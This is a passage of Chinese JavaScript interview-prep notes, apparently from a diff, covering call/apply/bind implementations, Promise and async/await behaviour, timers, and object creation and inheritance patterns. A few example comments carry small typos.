result = context.fn(); + } + // 将属性删除 + delete context.fn; + return result; +}; +``` + +**(3)bind 函数的实现步骤:** + +- 判断调用对象是否为函数,即使是定义在函数的原型上的,但是可能出现使用 call 等方式调用的情况。 +- 保存当前函数的引用,获取其余传入参数值。 +- 创建一个函数返回 +- 函数内部使用 apply 来绑定函数调用,需要判断函数作为构造函数的情况,这个时候需要传入当前函数的 this 给 apply 调用,其余情况都传入指定的上下文对象。 + +```javascript +Function.prototype.myBind = function(context) { + // 判断调用对象是否为函数 + if (typeof this !== "function") { + throw new TypeError("Error"); + } + // 获取参数 + var args = [...arguments].slice(1), + fn = this; + return function Fn() { + // 根据调用方式,传入不同绑定值 + return fn.apply( + this instanceof Fn ? this : context, + args.concat(...arguments) + ); + }; +}; +``` + +## 七、异步编程 + +### 1. 异步编程的实现方式? :star: + +JavaScript中的异步机制可以分为以下几种: + +- **回调函数** 的方式,使用回调函数的方式有一个缺点是,多个回调函数嵌套的时候会造成回调函数地狱,上下两层的回调函数间的代码耦合度太高,不利于代码的可维护。 +- **Promise** 的方式,使用 Promise 的方式可以将嵌套的回调函数作为链式调用。但是使用这种方法,有时会造成多个 then 的链式调用,可能会造成代码的语义不够明确。 +- **generator** 的方式,它可以在函数的执行过程中,将函数的执行权转移出去,在函数外部还可以将执行权转移回来。当遇到异步函数执行的时候,将函数执行权转移出去,当异步函数执行完毕时再将执行权给转移回来。因此在 generator 内部对于异步操作的方式,可以以同步的顺序来书写。使用这种方式需要考虑的问题是何时将函数的控制权转移回来,因此需要有一个自动执行 generator 的机制,比如说 co 模块等方式来实现 generator 的自动执行。 +- **async await** 的方式,async 函数是 generator 和 promise 实现的一个自动执行的语法糖,它内部自带执行器,当函数内部执行到一个 await 语句的时候,如果语句返回一个 promise 对象,那么函数将会等待 promise 对象的状态变为 resolve 后再继续向下执行。因此可以将异步逻辑,转化为同步的顺序来书写,并且这个函数可以自动执行。 + +**微任务和宏任务有哪些?** + +宏任务:script、setTimeOut、setInterval、setImmediate +微任务:promise.then,process.nextTick、Object.observe、MutationObserver +注意:Promise的构造函数是同步任务 + +### 2. setTimeout、Promise、Async/Await 的区别 :star: + +#### (1)setTimeout + +```javascript +console.log('script start') //1. 打印 script start +setTimeout(function(){ + console.log('settimeout') // 4. 打印 settimeout +}) // 2. 调用 setTimeout 函数,并定义其完成后执行的回调函数 +console.log('script end') //3. 打印 script start +// 输出顺序:script start->script end->settimeout +``` + +#### (2)Promise + +Promise本身是**同步的立即执行函数(其构造函数同步立即执行)**, 当在executor中执行resolve或者reject的时候, 此时是异步操作, 会先执行then/catch等,当主栈完成后,才会去调用resolve/reject中存放的方法执行,打印p的时候,是打印的返回结果,一个Promise实例。 + +```javascript +console.log('script start') +let promise1 = new Promise(function (resolve) { + console.log('promise1') + resolve() + console.log('promise1 end') +}).then(function () { + console.log('promise2') +}) +setTimeout(function(){ + console.log('settimeout') +}) +console.log('script end') +// 输出顺序: script start->promise1->promise1 end->script end->promise2->settimeout +``` + +当JS主线程执行到Promise对象时: + +- promise1.then() 的回调就是一个 task +- promise1 是 resolved或rejected: 那这个 task 就会放入当前事件循环回合的 microtask queue +- promise1 是 pending: 这个 task 就会放入 事件循环的未来的某个(可能下一个)回合的 microtask queue 中 +- setTimeout 的回调也是个 task ,它会被放入 macrotask queue 即使是 0ms 的情况 + +> 回调作为task进入队列排序,后再进入到调用栈 + +#### (3)async/await :star: + +```javascript +async function async1(){ + console.log('async1 start'); + await async2(); + console.log('async1 end') +} +async function async2(){ + console.log('async2') +} +console.log('script start'); +async1(); +console.log('script end') +// 输出顺序:script start->async1 start->async2->script end->async1 end +``` + +async 函数返回一个 Promise 对象,当函数执行的时候,一旦遇到 await 就会先返回,等到触发的异步操作完成,再执行函数体内后面的语句。可以理解为,**是让出了线程,跳出了 async 函数体。** + +例如: + +```javascript +async function func1() { + return 1 +} +console.log(func1()) +``` + +![img](https://cdn.yihuiblog.top/images/202207011611803.webp) func1的运行结果其实就是一个Promise对象。因此也可以使用then来处理后续逻辑。 + +```javascript +func1().then(res => { + console.log(res); // 30 +}) +``` + +await的含义为等待,也就是 async 函数需要等待await后的函数执行完成并且有了返回结果(Promise对象)之后,才能继续执行下面的代码。await通过返回一个Promise对象来实现同步的效果。 + +### 3. 对Promise的理解 :star::star: + +Promise是异步编程的一种解决方案,它是一个对象,可以获取异步操作的消息,他的出现大大改善了异步编程的困境,避免了地狱回调,它比传统的解决方案回调函数和事件更合理和更强大。 + +所谓Promise,简单说就是一个容器,里面保存着某个未来才会结束的事件(通常是一个异步操作)的结果。从语法上说,Promise 是一个对象,从它可以获取异步操作的消息。Promise 提供统一的 API,各种异步操作都可以用同样的方法进行处理。 + +(1)Promise的实例有**三个状态**: + +- Pending(进行中) +- Resolved(已完成) +- Rejected(已拒绝) + +当把一件事情交给promise时,它的状态就是Pending,任务完成了状态就变成了Resolved、没有完成失败了就变成了Rejected。 + +(2)Promise的实例有**两个过程**: + +- pending -> fulfilled : Resolved(已完成) +- pending -> rejected:Rejected(已拒绝) + +注意:一旦从进行状态变成为其他状态就永远不能更改状态了。 + +**Promise的特点:** + +- 对象的状态不受外界影响。promise对象代表一个异步操作,有三种状态,`pending`(进行中)、`fulfilled`(已成功)、`rejected`(已失败)。只有异步操作的结果,可以决定当前是哪一种状态,任何其他操作都无法改变这个状态,这也是promise这个名字的由来——“**承诺**”; +- 一旦状态改变就不会再变,任何时候都可以得到这个结果。promise对象的状态改变,只有两种可能:从`pending`变为`fulfilled`,从`pending`变为`rejected`。这时就称为`resolved`(已定型)。如果改变已经发生了,你再对promise对象添加回调函数,也会立即得到这个结果。这与事件(event)完全不同,事件的特点是:如果你错过了它,再去监听是得不到结果的。 + +**Promise的缺点:** + +- 无法取消Promise,一旦新建它就会立即执行,无法中途取消。 +- 如果不设置回调函数,Promise内部抛出的错误,不会反应到外部。 +- 当处于pending状态时,无法得知目前进展到哪一个阶段(刚刚开始还是即将完成)。 + +**总结:** Promise 对象是异步编程的一种解决方案,最早由社区提出。Promise 是一个构造函数,接收一个函数作为参数,返回一个 Promise 实例。一个 Promise 实例有三种状态,分别是pending、resolved 和 rejected,分别代表了进行中、已成功和已失败。实例的状态只能由 pending 转变 resolved 或者rejected 状态,并且状态一经改变,就凝固了,无法再被改变了。 + +状态的改变是通过 resolve() 和 reject() 函数来实现的,可以在异步操作结束后调用这两个函数改变 Promise 实例的状态,它的原型上定义了一个 then 方法,使用这个 then 方法可以为两个状态的改变注册回调函数。这个回调函数属于微任务,会在本轮事件循环的末尾执行。 + +**注意:** 在构造 `Promise` 的时候,构造函数内部的代码是立即执行的 + +### 4. Promise的基本用法 :star::star: + +#### (1)创建Promise对象 + +Promise对象代表一个异步操作,有三种状态:pending(进行中)、fulfilled(已成功)和rejected(已失败)。 + +Promise构造函数接受一个函数作为参数,该函数的两个参数分别是`resolve`和`reject`。 + +```javascript +const promise = new Promise(function(resolve, reject) { + // ... some code + if (/* 异步操作成功 */){ + resolve(value); + } else { + reject(error); + } +}); +``` + +**一般情况下都会使用**`new Promise()`**来创建promise对象,但是也可以使用**`promise.resolve`**和**`promise.reject`**这两个方法:** + +- **Promise.resolve** + +`Promise.resolve(value)`的返回值也是一个promise对象,可以对返回值进行.then调用,代码如下: + +```javascript +Promise.resolve(11).then(function(value){ + console.log(value); // 打印出11 +}); +``` + +`resolve(11)`代码中,会让promise对象进入确定(`resolve`状态),并将参数`11`传递给后面的`then`所指定的`onFulfilled` 函数; + +创建promise对象可以使用`new Promise`的形式创建对象,也可以使用`Promise.resolve(value)`的形式创建promise对象; + +- **Promise.reject** + +`Promise.reject` 也是`new Promise`的快捷形式,也创建一个promise对象。代码如下: + +```javascript +Promise.reject(new Error(“我错了,请原谅俺!!”)); +``` + +就是下面的代码new Promise的简单形式: + +```javascript +new Promise(function(resolve,reject){ + reject(new Error("我错了!")); +}); +``` + +下面是使用resolve方法和reject方法: + +```javascript +function testPromise(ready) { + return new Promise(function(resolve,reject){ + if(ready) { + resolve("hello world"); + }else { + reject("No thanks"); + } + }); +}; +// 方法调用 +testPromise(true).then(function(msg){ + console.log(msg); +},function(error){ + console.log(error); +}); +``` + +上面的代码的含义是给`testPromise`方法传递一个参数,返回一个promise对象,如果为`true`的话,那么调用promise对象中的`resolve()`方法,并且把其中的参数传递给后面的`then`第一个函数内,因此打印出 “`hello world`”, 如果为`false`的话,会调用promise对象中的`reject()`方法,则会进入`then`的第二个函数内,会打印`No thanks`; + +#### (2)Promise方法 + +Promise有五个常用的方法:then()、catch()、all()、race()、finally。下面就来看一下这些方法。 + +1. **then()** + +当Promise执行的内容符合成功条件时,调用`resolve`函数,失败就调用`reject`函数。Promise创建完了,那该如何调用呢? + +``` +promise.then(function(value) { + // success +}, function(error) { + // failure +}); +``` + +`then`方法可以接受两个回调函数作为参数。第一个回调函数是Promise对象的状态变为`resolved`时调用,第二个回调函数是Promise对象的状态变为`rejected`时调用。其中第二个参数可以省略。 `then`方法返回的是一个新的Promise实例(不是原来那个Promise实例)。因此可以采用链式写法,即`then`方法后面再调用另一个then方法。 + +当要写有顺序的异步事件时,需要串行时,可以这样写: + +```javascript +let promise = new Promise((resolve,reject)=>{ + ajax('first').success(function(res){ + resolve(res); + }) +}) +promise.then(res=>{ + return new Promise((resovle,reject)=>{ + ajax('second').success(function(res){ + resolve(res) + }) + }) +}).then(res=>{ + return new Promise((resovle,reject)=>{ + ajax('second').success(function(res){ + resolve(res) + }) + }) +}).then(res=>{ + +}) +``` + +那当要写的事件没有顺序或者关系时,还如何写呢?可以使用`all` 方法来解决。 + +**2. catch()** + +Promise对象除了有then方法,还有一个catch方法,该方法相当于`then`方法的第二个参数,指向`reject`的回调函数。不过`catch`方法还有一个作用,就是在执行`resolve`回调函数时,如果出现错误,抛出异常,不会停止运行,而是进入`catch`方法中。 + +```javascript +p.then((data) => { + console.log('resolved',data); +},(err) => { + console.log('rejected',err); + } +); +p.then((data) => { + console.log('resolved',data); +}).catch((err) => { + console.log('rejected',err); +}); +``` + +**3. all()** + +`all`方法可以完成并行任务, 它接收一个数组,数组的每一项都是一个`promise`对象。当数组中所有的`promise`的状态都达到`resolved`的时候,`all`方法的状态就会变成`resolved`,如果有一个状态变成了`rejected`,那么`all`方法的状态就会变成`rejected`。 + +```javascript +javascript +let promise1 = new Promise((resolve,reject)=>{ + setTimeout(()=>{ + resolve(1); + },2000) +}); +let promise2 = new Promise((resolve,reject)=>{ + setTimeout(()=>{ + resolve(2); + },1000) +}); +let promise3 = new Promise((resolve,reject)=>{ + setTimeout(()=>{ + resolve(3); + },3000) +}); +Promise.all([promise1,promise2,promise3]).then(res=>{ + console.log(res); + //结果为:[1,2,3] +}) +``` + +调用`all`方法时的结果成功的时候是回调函数的参数也是一个数组,这个数组按顺序保存着每一个promise对象`resolve`执行时的值。 + +**(4)race()** + +`race`方法和`all`一样,接受的参数是一个每项都是`promise`的数组,但是与`all`不同的是,当最先执行完的事件执行完之后,就直接返回该`promise`对象的值。如果第一个`promise`对象状态变成`resolved`,那自身的状态变成了`resolved`;反之第一个`promise`变成`rejected`,那自身状态就会变成`rejected`。 + +```javascript +let promise1 = new Promise((resolve,reject)=>{ + setTimeout(()=>{ + reject(1); + },2000) +}); +let promise2 = new Promise((resolve,reject)=>{ + setTimeout(()=>{ + resolve(2); + },1000) +}); +let promise3 = new Promise((resolve,reject)=>{ + setTimeout(()=>{ + resolve(3); + },3000) +}); +Promise.race([promise1,promise2,promise3]).then(res=>{ + console.log(res); + //结果:2 +},rej=>{ + console.log(rej)}; +) +``` + +那么`race`方法有什么实际作用呢?当要做一件事,超过多长时间就不做了,可以用这个方法来解决: + +```javascript +Promise.race([promise1,timeOutPromise(5000)]).then(res=>{}) +``` + +**5. finally()** + +`finally`方法用于指定不管 Promise 对象最后状态如何,都会执行的操作。该方法是 ES2018 引入标准的。 + +```javascript +promise +.then(result => {···}) +.catch(error => {···}) +.finally(() => {···}); +``` + +上面代码中,不管`promise`最后的状态,在执行完`then`或`catch`指定的回调函数以后,都会执行`finally`方法指定的回调函数。 + +下面是一个例子,服务器使用 Promise 处理请求,然后使用`finally`方法关掉服务器。 + +```javascript +server.listen(port) + .then(function () { + // ... + }) + .finally(server.stop); +``` + +`finally`方法的回调函数不接受任何参数,这意味着没有办法知道,前面的 Promise 状态到底是`fulfilled`还是`rejected`。这表明,`finally`方法里面的操作,应该是与状态无关的,不依赖于 Promise 的执行结果。`finally`本质上是`then`方法的特例: + +```javascript +promise +.finally(() => { + // 语句 +}); +// 等同于 +promise +.then( + result => { + // 语句 + return result; + }, + error => { + // 语句 + throw error; + } +); +``` + +上面代码中,如果不使用`finally`方法,同样的语句需要为成功和失败两种情况各写一次。有了`finally`方法,则只需要写一次。 + +#### 总结 + +- `Promise`的状态一经改变就不能再改变。 + +- `.then`和`.catch`都会返回一个新的`Promise`。(上面的👆1.4证明了) + +- `catch`不管被连接到哪里,都能捕获上层未捕捉过的错误。 + +- 在`Promise`中,返回任意一个非 `promise` 的值都会被包裹成 `promise` 对象,例如`return 2`会被包装为`return Promise.resolve(2)`。 + +- `Promise` 的 `.then` 或者 `.catch` 可以被调用多次, 但如果`Promise`内部的状态一经改变,并且有了一个值,那么后续每次调用`.then`或者`.catch`的时候都会直接拿到该值。 + +- `.then` 或者 `.catch` 中 `return` 一个 `error` 对象并不会抛出错误,所以不会被后续的 `.catch` 捕获。 + +- `.then` 或 `.catch` 返回的值不能是 promise 本身,否则会造成死循环。 + +- `.then` 或者 `.catch` 的参数期望是函数,传入非函数则会发生值透传。 + +- `.then`方法是能接收两个参数的,第一个是处理成功的函数,第二个是处理失败的函数,再某些时候你可以认为`catch`是`.then`第二个参数的简便写法。 + +- `.finally`方法也是返回一个`Promise`,他在`Promise`结束的时候,无论结果为`resolved`还是`rejected`,都会执行里面的回调函数。 + +### 5. Promise解决了什么问题:star: + +在工作中经常会碰到这样一个需求,比如我使用ajax发一个A请求后,成功后拿到数据,需要把数据传给B请求;那么需要如下编写代码: + +```javascript +let fs = require('fs') +fs.readFile('./a.txt','utf8',function(err,data){ + fs.readFile(data,'utf8',function(err,data){ + fs.readFile(data,'utf8',function(err,data){ + console.log(data) + }) + }) +}) +``` + +上面的代码有如下缺点: + +- 后一个请求需要依赖于前一个请求成功后,将数据往下传递,会导致多个ajax请求嵌套的情况,代码不够直观。 +- 如果前后两个请求不需要传递参数的情况下,那么后一个请求也需要前一个请求成功后再执行下一步操作,这种情况下,那么也需要如上编写代码,导致代码不够直观。 + +`Promise`出现之后,代码变成这样: + +```javascript +let fs = require('fs') +function read(url){ + return new Promise((resolve,reject)=>{ + fs.readFile(url,'utf8',function(error,data){ + error && reject(error) + resolve(data) + }) + }) +} +read('./a.txt').then(data=>{ + return read(data) +}).then(data=>{ + return read(data) +}).then(data=>{ + console.log(data) +}) +``` + +这样代码看起了就简洁了很多,解决了地狱回调的问题。 + +### 6. Promise.all和Promise.race的区别的使用场景 :star: + +**(1)Promise.all** `Promise.all`可以将多个`Promise`实例包装成一个新的Promise实例。同时,成功和失败的返回值是不同的,成功的时候返回的是**一个结果数组**,而失败的时候则返回**最先被reject失败状态的值**。 + +Promise.all中传入的是数组,返回的也是是数组,并且会将进行映射,传入的promise对象返回的值是按照顺序在数组中排列的,但是注意的是他们执行的顺序并不是按照顺序的,除非可迭代对象为空。 + +需要注意,Promise.all获得的成功结果的数组里面的数据顺序和Promise.all接收到的数组顺序是一致的,这样当遇到发送多个请求并根据请求顺序获取和使用数据的场景,就可以使用Promise.all来解决。 + +**(2)Promise.race** + +顾名思义,Promse.race就是赛跑的意思,意思就是说,Promise.race([p1, p2, p3])里面哪个结果获得的快,就返回那个结果,不管结果本身是成功状态还是失败状态。当要做一件事,超过多长时间就不做了,可以用这个方法来解决: + +```javascript +Promise.race([promise1,timeOutPromise(5000)]).then(res=>{}) +``` + +### 7. 对async/await 的理解 :star::star: + +async/await其实是`Generator` 的语法糖,它能实现的效果都能用then链来实现,它是为优化then链而开发出来的。从字面上来看,async是“异步”的简写,await则为等待,所以很好理解async 用于申明一个 function 是异步的,而 await 用于等待一个异步方法执行完成。当然语法上强制规定await只能出现在asnyc函数中,先来看看async函数返回了什么: + +```javascript +async function testAsy(){ + return 'hello world'; +} +let result = testAsy(); +console.log(result) +``` + +![img](https://cdn.yihuiblog.top/images/202207011611817.webp) + +所以,async 函数返回的是一个 Promise 对象。async 函数(包含函数语句、函数表达式、Lambda表达式)会返回一个 Promise 对象,如果在函数中 `return` 一个直接量,async 会把这个直接量通过 `Promise.resolve()` 封装成 Promise 对象。 + +async 函数返回的是一个 Promise 对象,所以在最外层不能用 await 获取其返回值的情况下,当然应该用原来的方式:`then()` 链来处理这个 Promise 对象,就像这样: + +```javascript +async function testAsy(){ + return 'hello world' +} +let result = testAsy() +console.log(result) +result.then(v=>{ + console.log(v) // hello world +}) +``` + +那如果 async 函数没有返回值,又该如何?很容易想到,它会返回 `Promise.resolve(undefined)`。 + +联想一下 Promise 的特点——无等待,所以在没有 `await` 的情况下执行 async 函数,它会立即执行,返回一个 Promise 对象,并且,绝不会阻塞后面的语句。这和普通返回 Promise 对象的函数并无二致。 + +**注意:**`Promise.resolve(x)` 可以看作是 `new Promise(resolve => resolve(x))` 的简写,可以用于快速封装字面量对象或其他对象,将其封装成 Promise 实例。 + +### 8. await 到底在等啥?:star: + +**await 在等待什么呢?** 一般来说,都认为 await 是在等待一个 async 函数完成。不过按语法说明,await 等待的是一个表达式,这个表达式的计算结果是 Promise 对象或者其它值(换句话说,就是没有特殊限定)。 + +因为 async 函数返回一个 Promise 对象,所以 await 可以用于等待一个 async 函数的返回值——这也可以说是 await 在等 async 函数,但要清楚,它等的实际是一个返回值。注意到 await 不仅仅用于等 Promise 对象,它可以等任意表达式的结果,所以,await 后面实际是可以接普通函数调用或者直接量的。所以下面这个示例完全可以正确运行: + +```javascript +function getSomething() { + return "something"; +} +async function testAsync() { + return Promise.resolve("hello async"); +} +async function test() { + const v1 = await getSomething(); + const v2 = await testAsync(); + console.log(v1, v2); +} +test(); +``` + +await 表达式的运算结果取决于它等的是什么。 + +- 如果它等到的不是一个 Promise 对象,那 await 表达式的运算结果就是它等到的东西。 +- 如果它等到的是一个 Promise 对象,await 就忙起来了,它会阻塞后面的代码,等着 Promise 对象 resolve,然后得到 resolve 的值,作为 await 表达式的运算结果。 + +来看一个例子: + +```javascript +function testAsy(x){ + return new Promise(resolve=>{setTimeout(() => { + resolve(x); + }, 3000) + } + ) +} +async function testAwt(){ + let result = await testAsy('hello world'); + console.log(result); // 3秒钟之后出现hello world + console.log('cuger') // 3秒钟之后出现cug +} +testAwt(); +console.log('cug') //立即输出cug +``` + +这就是 await 必须用在 async 函数中的原因。async 函数调用不会造成阻塞,它内部所有的阻塞都被封装在一个 Promise 对象中异步执行。await暂停当前async的执行,所以'cug''最先输出,hello world'和‘cuger’是3秒钟后同时出现的。 + +### 9. async/await的优势 :star: + +单一的 Promise 链并不能发现 async/await 的优势,但是,如果需要处理由多个 Promise 组成的 then 链的时候,优势就能体现出来了(很有意思,Promise 通过 then 链来解决多层回调的问题,现在又用 async/await 来进一步优化它)。 + +假设一个业务,分多个步骤完成,每个步骤都是异步的,而且依赖于上一个步骤的结果。仍然用 `setTimeout` 来模拟异步操作: + +```javascript +/** + * 传入参数 n,表示这个函数执行的时间(毫秒) + * 执行的结果是 n + 200,这个值将用于下一步骤 + */ +function takeLongTime(n) { + return new Promise(resolve => { + setTimeout(() => resolve(n + 200), n); + }); +} +function step1(n) { + console.log(`step1 with ${n}`); + return takeLongTime(n); +} +function step2(n) { + console.log(`step2 with ${n}`); + return takeLongTime(n); +} +function step3(n) { + console.log(`step3 with ${n}`); + return takeLongTime(n); +} +``` + +现在用 Promise 方式来实现这三个步骤的处理: + +```javascript +function doIt() { + console.time("doIt"); + const time1 = 300; + step1(time1) + .then(time2 => step2(time2)) + .then(time3 => step3(time3)) + .then(result => { + console.log(`result is ${result}`); + console.timeEnd("doIt"); + }); +} +doIt(); +// c:\var\test>node --harmony_async_await . +// step1 with 300 +// step2 with 500 +// step3 with 700 +// result is 900 +// doIt: 1507.251ms +``` + +输出结果 `result` 是 `step3()` 的参数 `700 + 200` = `900`。`doIt()` 顺序执行了三个步骤,一共用了 `300 + 500 + 700 = 1500` 毫秒,和 `console.time()/console.timeEnd()` 计算的结果一致。 + +如果用 async/await 来实现呢,会是这样: + +```javascript +async function doIt() { + console.time("doIt"); + const time1 = 300; + const time2 = await step1(time1); + const time3 = await step2(time2); + const result = await step3(time3); + console.log(`result is ${result}`); + console.timeEnd("doIt"); +} +doIt(); +``` + +结果和之前的 Promise 实现是一样的,但是这个代码看起来是不是清晰得多,几乎跟同步代码一样 + +### 10. async/await对比Promise的优势 :star::star: + +- 代码读起来更加同步,Promise虽然摆脱了回调地狱,但是then的链式调⽤也会带来额外的阅读负担 +- Promise传递中间值⾮常麻烦,⽽async/await⼏乎是同步的写法,⾮常优雅 +- 错误处理友好,async/await可以⽤成熟的try/catch,Promise的错误捕获⾮常冗余 +- 调试友好,Promise的调试很差,由于没有代码块,你不能在⼀个返回表达式的箭头函数中设置断点,如果你在⼀个.then代码块中使⽤调试器的步进(step-over)功能,调试器并不会进⼊后续的.then代码块,因为调试器只能跟踪同步代码的每⼀步。 + +### 11. async/await 如何捕获异常 + +```javascript +async function fn(){ + try{ + let a = await Promise.reject('error') + }catch(error){ + console.log(error) + } +} +``` + +### 12. 并发与并行的区别? + +- 并发是**宏观概念**,我分别有任务 A 和任务 B,在一段时间内通过任务间的**切换**完成了这两个任务,这种情况就可以称之为并发。 +- 并行是**微观概**念,假设 CPU 中存在两个核心,那么我就可以**同时**完成任务 A、B。同时完成多个任务的情况就可以称之为并行。 + +### 13. 什么是回调函数?回调函数有什么缺点?如何解决回调地狱问题? + +以下代码就是一个回调函数的例子: + +```javascript +ajax(url, () => { + // 处理逻辑 +}) +``` + +回调函数有一个致命的弱点,就是容易写出回调地狱(Callback hell)。假设多个请求存在依赖性,可能会有如下代码: + +```javascript +ajax(url, () => { + // 处理逻辑 + ajax(url1, () => { + // 处理逻辑 + ajax(url2, () => { + // 处理逻辑 + }) + }) +}) +``` + +以上代码看起来不利于阅读和维护,当然,也可以把函数分开来写: + +```javascript +function firstAjax() { + ajax(url1, () => { + // 处理逻辑 + secondAjax() + }) +} +function secondAjax() { + ajax(url2, () => { + // 处理逻辑 + }) +} +ajax(url, () => { + // 处理逻辑 + firstAjax() +}) +``` + +以上的代码虽然看上去利于阅读了,但是还是没有解决根本问题。回调地狱的根本问题就是: + +1. 嵌套函数存在耦合性,一旦有所改动,就会牵一发而动全身 +2. 嵌套函数一多,就很难处理错误 + +当然,回调函数还存在着别的几个缺点,比如不能使用 `try catch` 捕获错误,不能直接 `return`。 + +### 14. setTimeout、setInterval、requestAnimationFrame 各有什么特点? + +异步编程当然少不了定时器了,常见的定时器函数有 `setTimeout`、`setInterval`、`requestAnimationFrame`。最常用的是`setTimeout`,很多人认为 `setTimeout` 是延时多久,那就应该是多久后执行。 + +其实这个观点是错误的,因为 JS 是单线程执行的,如果前面的代码影响了性能,就会导致 `setTimeout` 不会按期执行。当然了,可以通过代码去修正 `setTimeout`,从而使定时器相对准确: + +```javascript +let period = 60 * 1000 * 60 * 2 +let startTime = new Date().getTime() +let count = 0 +let end = new Date().getTime() + period +let interval = 1000 +let currentInterval = interval +function loop() { + count++ + // 代码执行所消耗的时间 + let offset = new Date().getTime() - (startTime + count * interval); + let diff = end - new Date().getTime() + let h = Math.floor(diff / (60 * 1000 * 60)) + let hdiff = diff % (60 * 1000 * 60) + let m = Math.floor(hdiff / (60 * 1000)) + let mdiff = hdiff % (60 * 1000) + let s = mdiff / (1000) + let sCeil = Math.ceil(s) + let sFloor = Math.floor(s) + // 得到下一次循环所消耗的时间 + currentInterval = interval - offset + console.log('时:'+h, '分:'+m, '毫秒:'+s, '秒向上取整:'+sCeil, '代码执行时间:'+offset, '下次循环间隔'+currentInterval) + setTimeout(loop, currentInterval) +} +setTimeout(loop, currentInterval) +``` + +接下来看 `setInterval`,其实这个函数作用和 `setTimeout` 基本一致,只是该函数是每隔一段时间执行一次回调函数。 + +通常来说不建议使用 `setInterval`。第一,它和 `setTimeout` 一样,不能保证在预期的时间执行任务。第二,它存在执行累积的问题,请看以下伪代码 + +```javascript +function demo() { + setInterval(function(){ + console.log(2) + },1000) + sleep(2000) +} +demo() +``` + +以上代码在浏览器环境中,如果定时器执行过程中出现了耗时操作,多个回调函数会在耗时操作结束以后同时执行,这样可能就会带来性能上的问题。 + +如果有循环定时器的需求,其实完全可以通过 `requestAnimationFrame` 来实现: + +```javascript +function setInterval(callback, interval) { + let timer + const now = Date.now + let startTime = now() + let endTime = startTime + const loop = () => { + timer = window.requestAnimationFrame(loop) + endTime = now() + if (endTime - startTime >= interval) { + startTime = endTime = now() + callback(timer) + } + } + timer = window.requestAnimationFrame(loop) + return timer +} +let a = 0 +setInterval(timer => { + console.log(1) + a++ + if (a === 3) cancelAnimationFrame(timer) +}, 1000) +``` + +首先 `requestAnimationFrame` 自带函数节流功能,基本可以保证在 16.6 毫秒内只执行一次(不掉帧的情况下),并且该函数的延时效果是精确的,没有其他定时器时间不准的问题,当然你也可以通过该函数来实现 `setTimeout`。 + +## 八、面向对象 + +### 1. 对象创建的方式有哪些?:star: + +一般使用字面量的形式直接创建对象,但是这种创建方式对于创建大量相似对象的时候,会产生大量的重复代码。但 js和一般的面向对象的语言不同,在 ES6 之前它没有类的概念。但是可以使用函数来进行模拟,从而产生出可复用的对象创建方式,常见的有以下几种: + +(1)**工厂模式**:工厂模式的主要工作原理是用函数来封装创建对象的细节,从而通过调用函数来达到复用的目的。但是它有一个很大的问题就是创建出来的对象无法和某个类型联系起来,它只是简单的封装了复用代码,而没有建立起对象和类型间的关系。 + +(2)**构造函数模式**:js 中每一个函数都可以作为构造函数,只要一个函数是通过 new 来调用的,那么就可以把它称为构造函数。执行构造函数首先会创建一个对象,然后将对象的原型指向构造函数的 prototype 属性,然后将执行上下文中的 this 指向这个对象,最后再执行整个函数,如果返回值不是对象,则返回新建的对象。因为 this 的值指向了新建的对象,因此可以使用 this 给对象赋值。构造函数模式相对于工厂模式的优点是,所创建的对象和构造函数建立起了联系,因此可以通过原型来识别对象的类型。但是构造函数存在一个缺点就是,造成了不必要的函数对象的创建,因为在 js 中函数也是一个对象,因此如果对象属性中如果包含函数的话,那么每次都会新建一个函数对象,浪费了不必要的内存空间,因为函数是所有的实例都可以通用的。 + +(3)**原型模式:**因为每一个函数都有一个 prototype 属性,这个属性是一个对象,它包含了通过构造函数创建的所有实例都能共享的属性和方法。因此可以使用原型对象来添加公用属性和方法,从而实现代码的复用。这种方式相对于构造函数模式来说,解决了函数对象的复用问题。但是这种模式也存在一些问题,一个是没有办法通过传入参数来初始化值,另一个是如果存在一个引用类型如 Array 这样的值,那么所有的实例将共享一个对象,一个实例对引用类型值的改变会影响所有的实例。 + +(4)**组合模式**,使用构造函数模式和原型模式,这是创建自定义类型的最常见方式。因为构造函数模式和原型模式分开使用都存在一些问题,因此可以组合使用这两种模式,通过构造函数来初始化对象的属性,通过原型对象来实现函数方法的复用。这种方法很好的解决了两种模式单独使用时的缺点,但是有一点不足的就是,因为使用了两种不同的模式,所以对于代码的封装性不够好。 + +(5)**动态原型模式**,这一种模式将原型方法赋值的创建过程移动到了构造函数的内部,通过对属性是否存在的判断,可以实现仅在第一次调用函数时对原型对象赋值一次的效果。这一种方式很好地对上面的混合模式进行了封装。 + +(6)**寄生构造函数模式**,这一种模式和工厂模式的实现基本相同,我对这个模式的理解是,它主要是基于一个已有的类型,在实例化时对实例化的对象进行扩展。这样既不用修改原来的构造函数,也达到了扩展对象的目的。它的一个缺点和工厂模式一样,无法实现对象的识别。 + +### 2. 对象继承的方式有哪些?:star: + +(1)**原型链**,但是这种实现方式存在的缺点是,在包含有引用类型的数据时,会被所有的实例对象所共享,容易造成修改的混乱。还有就是在创建子类型的时候不能向超类型传递参数。 + +(2)**构造函数**,这种方式是通过在子类型的函数中调用超类型的构造函数来实现的,这一种方法解决了不能向超类型传递参数的缺点,但是它存在的一个问题就是无法实现函数方法的复用,并且超类型原型定义的方法子类型也没有办法访问到。 + +(3)**组合继承**,组合继承是将原型链和借用构造函数组合起来使用的一种方式。通过借用构造函数的方式来实现类型的属性的继承,通过将子类型的原型设置为超类型的实例来实现方法的继承。这种方式解决了上面的两种模式单独使用时的问题,但是由于我们是以超类型的实例来作为子类型的原型,所以调用了两次超类的构造函数,造成了子类型的原型中多了很多不必要的属性。 + +(4)**原型式继承**,原型式继承的主要思路就是基于已有的对象来创建新的对象,实现的原理是,向函数中传入一个对象,然后返回一个以这个对象为原型的对象。这种继承的思路主要不是为了实现创造一种新的类型,只是对某个对象实现一种简单继承,ES5 中定义的 Object.create() 方法就是原型式继承的实现。缺点与原型链方式相同。 + +(5)**寄生式继承**,寄生式继承的思路是创建一个用于封装继承过程的函数,通过传入一个对象,然后复制一个对象的副本,然后对象进行扩展,最后返回这个对象。这个扩展的过程就可以理解是一种继承。这种继承的优点就是对一个简单对象实现继承,如果这个对象不是自定义类型时。缺点是没有办法实现函数的复用。 + +(6)**寄生式组合继承**,组合继承的缺点就是使用超类型的实例做为子类型的原型,导致添加了不必要的原型属性。寄生式组合继承的方式是使用超类型的原型的副本来作为子类型的原型,这样就避免了创建不必要的属性。 + +## 九、垃圾回收与内存泄漏 + +### 1. 浏览器的垃圾回收机制 :star::star: + +#### (1)垃圾回收的概念 + +**垃圾回收**:JavaScript代码运行时,需要分配内存空间来储存变量和值。当**变量不在参与运行时,就需要系统收回被占用的内存空间**,这就是垃圾回收。 + +**回收机制**: 